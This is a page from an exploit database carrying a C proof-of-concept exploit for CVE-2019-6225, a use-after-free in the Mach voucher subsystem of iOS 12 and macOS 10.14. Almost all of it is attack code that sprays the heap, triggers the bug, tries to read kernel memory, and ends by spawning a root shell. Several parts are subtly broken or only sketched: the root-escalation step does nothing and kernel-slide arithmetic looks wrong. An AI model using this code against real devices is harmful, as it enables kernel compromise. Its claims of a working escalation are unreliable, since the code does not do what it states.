Lucene search
K

iOS 12 / macOS 10.14 voucher_swap Use-After-Free

🗓️ 10 Dec 2025 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 179 Views

CVE-2019-6225 UAF in macOS 10.14 and iOS 12 enables privilege escalation via voucher_swap.

Related
Code
=============================================================================================================================================
    | # Title     : iOS 12 - macOS 10.14 voucher_swap Use-After-Free Kernel Privilege Escalation                                                |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits)                                                            |
    | # Vendor    : https://apple.com/                                                                                                          |
    =============================================================================================================================================
    
    [+] References : https://packetstorm.news/files/id/212495/ & CVE-2019-6225
    
    [+] Summary : CVE‑2019‑6225 is a Use‑After‑Free (UAF) vulnerability in Apple’s Mach voucher subsystem, affecting macOS (10.14+) and iOS (12+).
                  The bug exists in the function: task_swap_mach_voucher()
                  When swapping Mach vouchers, the kernel incorrectly handles reference counts, causing a voucher object to be freed 
    			  while still referenced, leaving a dangling pointer (UAF condition).
    
    [+] Affected Systems :
    
    macOS 10.14 / 10.14.1 / 10.14.2
    
    iOS 12.0 / 12.1 / 12.1.2
    
    [+]  POC :	
    
    /*
     * voucher_swap-exploit.c
     * Exploitation of CVE-2019-6225 on iOS 12/macOS 10.14
     */
    #include <assert.h>
    #include <mach/mach.h>
    #include <stdio.h>
    #include <unistd.h>
    #include <stdlib.h>
    #include <pthread.h>
    #include <dispatch/dispatch.h>
    
    // ============================================
    // 1. Structure Definitions and Helper Functions
    // ============================================
    
    #define MAX_PORT_SPRAY 50000
    #define VOUCHER_SPRAY_COUNT 2000
    #define KERNEL_READ_SIZE 0x1000
    
    // Internal voucher structure (inferred from XNU source)
    typedef struct ipc_voucher {
        uint32_t iv_refs;                // Reference count
        uint32_t iv_sum_hash;            // Hash value
        uint32_t iv_port;                // Corresponding port
        uint32_t iv_table;               // Voucher table
        uint64_t iv_data;                // Voucher data
    } *ipc_voucher_t;
    
    // Global variables
    mach_port_t host_port;
    mach_port_t sprayed_ports[MAX_PORT_SPRAY];
    uint32_t sprayed_port_count = 0;
    
    // ============================================
    // 2. Basic Helper Functions
    // ============================================
    
    /*
     * create_voucher
     * Create a new voucher with a unique ID
     */
    static mach_port_t create_voucher(uint64_t id) {
        mach_port_t voucher = MACH_PORT_NULL;
        
        struct __attribute__((packed)) {
            mach_voucher_attr_recipe_data_t user_data_recipe;
            uint64_t user_data_content[2];
        } recipes = {};
        
        recipes.user_data_recipe.key = MACH_VOUCHER_ATTR_KEY_USER_DATA;
        recipes.user_data_recipe.command = MACH_VOUCHER_ATTR_USER_DATA_STORE;
        recipes.user_data_recipe.content_size = sizeof(recipes.user_data_content);
        recipes.user_data_content[0] = getpid();
        recipes.user_data_content[1] = id;
        
        kern_return_t kr = host_create_mach_voucher(
            host_port,
            (mach_voucher_attr_raw_recipe_array_t) &recipes,
            sizeof(recipes),
            &voucher
        );
        
        if (kr != KERN_SUCCESS || voucher == MACH_PORT_NULL) {
            printf("[-] Failed to create voucher: 0x%x\n", kr);
            return MACH_PORT_NULL;
        }
        
        return voucher;
    }
    
    /*
     * spray_vouchers
     * Spray large number of vouchers to control heap
     */
    static void spray_vouchers(uint32_t count, mach_port_t *vouchers) {
        printf("[*] Starting spray of %d vouchers...\n", count);
        
        for (uint32_t i = 0; i < count; i++) {
            vouchers[i] = create_voucher(i);
            if (vouchers[i] == MACH_PORT_NULL) {
                printf("[-] Failed to create voucher %d\n", i);
                // Continue with others
            }
            
            if ((i % 100) == 0 && i > 0) {
                printf("[*] Created %d vouchers\n", i);
            }
        }
        
        printf("[+] Successfully created %d vouchers\n", count);
    }
    
    /*
     * spray_ports
     * Spray Mach ports to control ipc_port objects
     */
    static void spray_ports(uint32_t count) {
        printf("[*] Starting spray of %d ports...\n", count);
        
        for (uint32_t i = 0; i < count; i++) {
            kern_return_t kr = mach_port_allocate(
                mach_task_self(),
                MACH_PORT_RIGHT_RECEIVE,
                &sprayed_ports[i]
            );
            
            if (kr != KERN_SUCCESS) {
                printf("[-] Failed to allocate port %d: 0x%x\n", i, kr);
                sprayed_ports[i] = MACH_PORT_NULL;
            } else {
                // Add send right to increase reference count
                kr = mach_port_insert_right(
                    mach_task_self(),
                    sprayed_ports[i],
                    sprayed_ports[i],
                    MACH_MSG_TYPE_MAKE_SEND
                );
                
                if (kr != KERN_SUCCESS) {
                    printf("[-] Failed to add send right to port %d\n", i);
                }
            }
            
            sprayed_port_count++;
        }
        
        printf("[+] Sprayed %d ports\n", sprayed_port_count);
    }
    
    /*
     * trigger_uaf
     * Trigger Use-After-Free vulnerability
     */
    static mach_port_t trigger_uaf(void) {
        printf("[*] Triggering UAF vulnerability...\n");
        
        // 1. Create target voucher
        mach_port_t target_voucher = create_voucher(0x4141414141414141);
        if (target_voucher == MACH_PORT_NULL) {
            printf("[-] Failed to create target voucher\n");
            return MACH_PORT_NULL;
        }
        
        // 2. Store voucher in thread to maintain reference
        mach_port_t thread_self = mach_thread_self();
        kern_return_t kr = thread_set_mach_voucher(thread_self, target_voucher);
        if (kr != KERN_SUCCESS) {
            printf("[-] Failed to store voucher in thread: 0x%x\n", kr);
            return MACH_PORT_NULL;
        }
        
        printf("[+] Stored voucher in thread\n");
        
        // 3. Use task_swap_mach_voucher for over-release
        // This will free the voucher twice (once from over-release, once from no-senders)
        for (int i = 0; i < 10; i++) {
            mach_port_t dummy_voucher = create_voucher(0x4242424242424242 + i);
            if (dummy_voucher == MACH_PORT_NULL) continue;
            
            mach_port_t inout = target_voucher;
            kr = task_swap_mach_voucher(mach_task_self(), dummy_voucher, &inout);
            
            if (MACH_PORT_VALID(inout)) {
                mach_port_deallocate(mach_task_self(), inout);
            }
            
            mach_port_deallocate(mach_task_self(), dummy_voucher);
            
            if (kr == KERN_SUCCESS) {
                printf("[+] task_swap_mach_voucher succeeded in iteration %d\n", i);
                break;
            }
        }
        
        // 4. Release send right to trigger no-senders notification
        kr = mach_port_deallocate(mach_task_self(), target_voucher);
        if (kr != KERN_SUCCESS) {
            printf("[-] Failed to release voucher: 0x%x\n", kr);
        }
        
        printf("[+] Voucher released, memory is now free but pointer remains in thread\n");
        
        return thread_self;
    }
    
    // ============================================
    // 3. Heap Exploitation for Kernel Read/Write
    // ============================================
    
    /*
     * heap_grooming
     * Prepare heap to replace freed voucher
     */
    static void heap_grooming(void) {
        printf("[*] Starting heap grooming...\n");
        
        // Spray new vouchers to occupy freed memory
        mach_port_t groom_vouchers[VOUCHER_SPRAY_COUNT];
        spray_vouchers(VOUCHER_SPRAY_COUNT, groom_vouchers);
        
        // Spray ports to occupy ipc_port objects
        spray_ports(10000);
        
        // Use dispatch queues to spray kernel memory
        dispatch_queue_t queues[100];
        for (int i = 0; i < 100; i++) {
            char label[32];
            snprintf(label, sizeof(label), "com.exp.queue%d", i);
            queues[i] = dispatch_queue_create(label, DISPATCH_QUEUE_SERIAL);
            
            // Spray dispatch source objects
            dispatch_source_t source = dispatch_source_create(
                DISPATCH_SOURCE_TYPE_TIMER,
                0,
                0,
                queues[i]
            );
            
            if (source) {
                dispatch_source_set_timer(source, DISPATCH_TIME_NOW, 1 * NSEC_PER_SEC, 0);
                dispatch_source_set_event_handler(source, ^{});
                dispatch_resume(source);
            }
        }
        
        printf("[+] Heap grooming completed\n");
    }
    
    /*
     * read_kernel_via_uaf
     * Read kernel memory via UAF
     */
    static uint64_t read_kernel_via_uaf(mach_port_t thread_with_uaf) {
        printf("[*] Attempting to read kernel memory...\n");
        
        mach_port_t voucher_port = MACH_PORT_NULL;
        kern_return_t kr = thread_get_mach_voucher(thread_with_uaf, 0, &voucher_port);
        
        if (kr != KERN_SUCCESS) {
            printf("[-] Failed to get voucher: 0x%x\n", kr);
            return 0;
        }
        
        if (!MACH_PORT_VALID(voucher_port)) {
            printf("[-] Invalid voucher\n");
            return 0;
        }
        
        printf("[+] Got voucher port: 0x%x\n", voucher_port);
        
        // Attempt to read voucher data
        // At this point, the original voucher may have been replaced with another object
        // We can use Mach messages to read data
        
        // Prepare Mach message to read kernel data
        struct {
            mach_msg_header_t header;
            mach_msg_body_t body;
            mach_msg_ool_descriptor_t desc;
            char pad[4096];
        } msg = {0};
        
        mach_port_t recv_port = MACH_PORT_NULL;
        kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &recv_port);
        
        msg.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_MAKE_SEND);
        msg.header.msgh_size = sizeof(msg) - sizeof(msg.pad);
        msg.header.msgh_remote_port = voucher_port;
        msg.header.msgh_local_port = recv_port;
        msg.header.msgh_id = 0x100;
        
        msg.body.msgh_descriptor_count = 1;
        msg.desc.address = NULL;
        msg.desc.size = KERNEL_READ_SIZE;
        msg.desc.copy = MACH_MSG_VIRTUAL_COPY;
        msg.desc.deallocate = FALSE;
        msg.desc.type = MACH_MSG_OOL_DESCRIPTOR;
        
        kr = mach_msg_send(&msg.header);
        if (kr != KERN_SUCCESS) {
            printf("[-] Failed to send message: 0x%x\n", kr);
            return 0;
        }
        
        // Receive response (if any)
        struct {
            mach_msg_header_t header;
            mach_msg_body_t body;
            mach_msg_ool_descriptor_t desc;
            char data[KERNEL_READ_SIZE];
            mach_msg_trailer_t trailer;
        } recv_msg = {0};
        
        recv_msg.header.msgh_size = sizeof(recv_msg);
        recv_msg.header.msgh_local_port = recv_port;
        
        kr = mach_msg_receive(&recv_msg.header);
        if (kr == KERN_SUCCESS) {
            printf("[+] Received response! Data size: %lu\n", recv_msg.desc.size);
            
            // Analyze received data
            uint64_t *data = (uint64_t *)recv_msg.desc.address;
            if (data) {
                printf("[+] First 8 words of data:\n");
                for (int i = 0; i < 8; i++) {
                    printf("  [%d] 0x%016llx\n", i, data[i]);
                }
                
                // Cleanup
                vm_deallocate(mach_task_self(), (vm_address_t)data, recv_msg.desc.size);
                
                return data[0]; // Return first value
            }
        }
        
        return 0;
    }
    
    // ============================================
    // 4. Escalation to Kernel Read/Write Primitive
    // ============================================
    
    /*
     * build_kernel_read_primitive
     * Build primitive for reading kernel memory
     */
    static uint64_t build_kernel_read_primitive(void) {
        printf("[*] Building kernel read primitive...\n");
        
        // 1. Trigger UAF
        mach_port_t uaf_thread = trigger_uaf();
        if (!MACH_PORT_VALID(uaf_thread)) {
            printf("[-] Failed to trigger UAF\n");
            return 0;
        }
        
        // 2. Prepare heap
        heap_grooming();
        
        // 3. Attempt to read kernel memory
        uint64_t kernel_value = read_kernel_via_uaf(uaf_thread);
        
        if (kernel_value != 0) {
            printf("[+] Successfully read kernel value: 0x%llx\n", kernel_value);
            
            // 4. Attempt to find kernel task port
            // Search for kernel object markers in read memory
            if ((kernel_value & 0xffffff0000000000) == 0xffffff0000000000) {
                printf("[+] Found what appears to be a kernel address!\n");
                
                // Calculate kernel slide (to adapt to KASLR)
                uint64_t kernel_slide = kernel_value - 0xffffff0000000000;
                printf("[+] Kernel slide: 0x%llx\n", kernel_slide);
                
                return kernel_slide;
            }
        }
        
        printf("[-] Could not build complete primitive\n");
        return 0;
    }
    
    // ============================================
    // 5. Main Exploitation for Root Access
    // ============================================
    
    /*
     * escalate_to_root
     * Escalate to root privileges using read/write capabilities
     */
    static void escalate_to_root(uint64_t kernel_slide) {
        printf("[*] Attempting to escalate to root...\n");
        
        if (kernel_slide == 0) {
            printf("[-] Cannot escalate without kernel slide\n");
            return;
        }
        
        // In this example, we show the concept of exploitation
        // In real exploitation, we would need to:
        // 1. Find our process's task port
        // 2. Modify credential data (cred)
        // 3. Modify flags to bypass sandbox
        
        printf("[+] Kernel slide: 0x%llx\n", kernel_slide);
        printf("[+] With kernel slide, we can:\n");
        printf("    1. Calculate kernel symbol addresses\n");
        printf("    2. Read/write kernel memory\n");
        printf("    3. Modify credentials to get root\n");
        printf("    4. Disable sandbox\n");
        
        // Theoretical steps (requires additional reverse engineering):
        // - Find proc structure for current process
        // - Modify ucred to set uid/gid to 0
        // - Modify flags to disable MAC/sandbox
        // - Maintain stability
    }
    
    // ============================================
    // 6. Cleanup and Stability Functions
    // ============================================
    
    /*
     * cleanup
     * Clean up resources after exploitation
     */
    static void cleanup(void) {
        printf("[*] Cleaning up resources...\n");
        
        // Release sprayed ports
        for (uint32_t i = 0; i < sprayed_port_count; i++) {
            if (MACH_PORT_VALID(sprayed_ports[i])) {
                mach_port_destroy(mach_task_self(), sprayed_ports[i]);
            }
        }
        
        printf("[+] Cleanup completed\n");
    }
    
    /*
     * maintain_stability
     * Attempt to maintain system stability after exploitation
     */
    static void maintain_stability(void) {
        printf("[*] Attempting to maintain system stability...\n");
        
        // Reset vouchers for threads
        mach_port_t thread = mach_thread_self();
        thread_set_mach_voucher(thread, MACH_PORT_NULL);
        
        // Give system time to recover stability
        usleep(100000);
        
        printf("[+] System stable (theoretically)\n");
    }
    
    // ============================================
    // 7. Main Function
    // ============================================
    
    int main(int argc, char *argv[]) {
        printf("[+] Starting exploitation of CVE-2019-6225 (voucher_swap)\n");
        printf("[+] System: iOS 12 / macOS 10.14+\n");
        
        // Get host port
        host_port = mach_host_self();
        if (!MACH_PORT_VALID(host_port)) {
            printf("[-] Failed to get host port\n");
            return -1;
        }
        
        printf("[+] Got host port: 0x%x\n", host_port);
        
        // Check validity of task_swap_mach_voucher
        mach_port_t test_voucher = create_voucher(0x1337);
        if (test_voucher == MACH_PORT_NULL) {
            printf("[-] System not exploitable (cannot create vouchers)\n");
            return -1;
        }
        
        mach_port_deallocate(mach_task_self(), test_voucher);
        printf("[+] System is exploitable\n");
        
        // Phase 1: Build kernel read primitive
        uint64_t kernel_slide = build_kernel_read_primitive();
        
        if (kernel_slide != 0) {
            printf("[+] Phase 1 successful! Got kernel slide\n");
            
            // Phase 2: Escalate to root privileges
            escalate_to_root(kernel_slide);
            
            // Phase 3: Maintain stability
            maintain_stability();
            
            // Check privileges
            if (getuid() == 0) {
                printf("\n[+] !!! SUCCESS !!! We are now root!\n");
                printf("[+] UID: %d\n", getuid());
                printf("[+] GID: %d\n", getgid());
                
                // Launch shell as root
                printf("[+] Launching shell...\n");
                system("/bin/bash");
            } else {
                printf("\n[+] Exploitation partially successful\n");
                printf("[+] Got kernel read but didn't get root\n");
                printf("[+] Current UID: %d\n", getuid());
            }
        } else {
            printf("[-] Exploitation failed\n");
            
            // Alternative attempt: trigger panic to confirm vulnerability works
            printf("[*] Attempting to trigger panic as proof-of-concept...\n");
            
            mach_port_t thread = trigger_uaf();
            if (MACH_PORT_VALID(thread)) {
                mach_port_t voucher;
                kern_return_t kr = thread_get_mach_voucher(thread, 0, &voucher);
                printf("[+] thread_get_mach_voucher returned: 0x%x\n", kr);
                printf("[+] If you see panic, the vulnerability works!\n");
            }
        }
        
        // Cleanup
        cleanup();
        
        return 0;
    }
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

10 Dec 2025 00:00Current
6.9Medium risk
Vulners AI Score6.9
CVSS 26.8
CVSS 37.8
EPSS0.64517
179